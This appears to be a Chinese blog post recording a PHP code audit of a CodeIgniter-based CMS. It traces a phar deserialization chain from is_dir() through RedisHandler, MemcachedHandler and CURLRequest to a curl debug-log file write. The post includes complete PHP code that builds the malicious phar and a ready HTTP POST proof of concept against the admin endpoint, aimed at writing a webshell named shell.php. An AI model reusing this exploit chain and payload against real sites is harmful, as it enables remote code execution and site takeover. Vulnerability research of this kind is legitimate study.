跳到主要内容

PHP代码审计之反序列化学习记录

· 阅读需 8 分钟
声明

本文版权归原作者所有,转载请注明出处。

前言

平常一般不进行代码审计,这次有幸听了朋友的一次 PHP代码审计,跟着学习了一下,看看审计是咋样的,便有了这篇博客,以此记录。

反序列化漏洞

虽然不搞代码审计,但还是对反序列化有过了解,据我所知反序列化的漏洞触发点只有 unserialize 函数,但我朋友告诉我除了这个还可以使用文件操作触发 phar 反序列化,这玩意我只听过,但没去了解,于是便上网查阅资源:

|470

Java 中的 War 包类似?那为啥能触发反序列化?继续查阅资料:

懂了,phar 被加载时如果存在序列化对象则会自动反序列化,但这个加载指的是文件还是?继续查阅资料:

懂了,接下来看整个过程。

is_dir () 触发 phar 反序列化

is_dir 用于判断传入的文件是否为目录,而文件操作支持 phar 伪协议,因此可以触发反序列化,在后台的地方,下方代码 test_avatar_domain 有一处 avatar_path 参数可控,通过 POST 传入:

这里还有个知识不了解,那就是 PHP 的传参方式,可以用数组的方式传递:

# POST 表单
image[avatar_path]=xxx

寻找合适的反序列化链

触发反序列化后,接下来就是得找链子,各种 魔术方法 都得去看看,最终我朋友找到了下方链子(找的过程比较艰难):

  • RedisHandler 类的 __destructthis->close()

熟知的魔术方法 __destructthis->redis 可控:

接下来找什么类有 close 方法可以进一步利用,并且其中参数也可控,最终找到了:

  • MemcachedHandler 类的 close方法, this->memcachedthis->lockkey 可控

关注 this->lockkey 参数,继续寻找 delete 方法:

  • CURLRequestdelete 方法,$url 可控

  • CURLRequest 本类的 request 方法,$url 可控

前面几个方法都是调用本类的方法,没啥用且不会影响后续代码的执行,关注 this->send 方法,进入查看:

|500

该方法似乎在使用 curl 发起请求,$url 被存到 $curlOptions 中,是 curl 请求的目标,最终跟进 this->setCURLOptions,看到了有意思的一段代码:

其中 CURLOPT_VERBOSE=1 ,也就是 True,查阅资料,意义如下:

他将似乎会触发 curl 日志写入,尝试 curl 并使用 -verbose 参数看看日志是什么:

我勒个去,响应头、甚至响应内容是日志?那岂不是文件写入?但还得看看上方的 config['debug'] 看能不能可控,往上阅读发现,这不是本类的 config 属性?

生成 Phar

一个文件写入就打成了!由于后台支持附件上传,因此可以直接在后台上传,上,Phar 反序列化文件生成:

<?php

namespace {
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);


}


namespace CodeIgniter\Cache\Handlers {


use CodeIgniter\Session\Handlers\MemcachedHandler;

class RedisHandler {
protected $redis;

public function __construct() {
// 实例化不同命名空间中的 RedisHandler 类
$this->redis = new MemcachedHandler();
}
}
}

namespace CodeIgniter\Session\Handlers{
use CodeIgniter\HTTP\CURLRequest;


class MemcachedHandler {
public $memcached;
public $lockKey;
public function __construct()
{
$this->lockKey='http://127.0.0.1/123.php';
$this->memcached = new CURLRequest();
}
}
}

namespace CodeIgniter\HTTP{
class CURLRequest
{
protected $config = [];
public function __construct()
{
$this->config = [
// 'timeout' => 1.0,
// 'connect_timeout' => 150,
'debug' => "shell.php",
'verify' => true,
];
}
}
}

// 全局命名空间
namespace {
use CodeIgniter\Cache\Handlers\RedisHandler;
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new RedisHandler();
$o -> data='hu3sky';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
//$o = new RedisHandler();
//print_r(urlencode(serialize($o)));
}

POC

POST /adminbdae3ba8b340.php?c=api&m=test_avatar_domain HTTP/1.1
Host: xxxx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6301.219 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: csrf_cookie_name=cc62a48008d5281ff3c2521fa5cd431d; bbe03f95f25cbc8a527d06927ad34d44_member_uid=1; bbe03f95f25cbc8a527d06927ad34d44_member_cookie=a8e1f672b7ef88f70d5f2c273f3b6f7b; xunruicms_bbe03f95f25cbc8a527d06927ad34d44=jatb9e3idmcusc4knl3424lcifogbcf7
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
sec-ch-ua-mobile: ?0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

image[avatar_path]=phar://./uploadfile/202408/a4bfc9028a4fe10.zip

phpstudy windows 生成在 php.exe 的根目录下面,Linux 下的宝塔环境会生成在网站根目录:

shell.php

经测试并没有将响应内容写入日志,因此只能通过在响应头中添加 php 代码。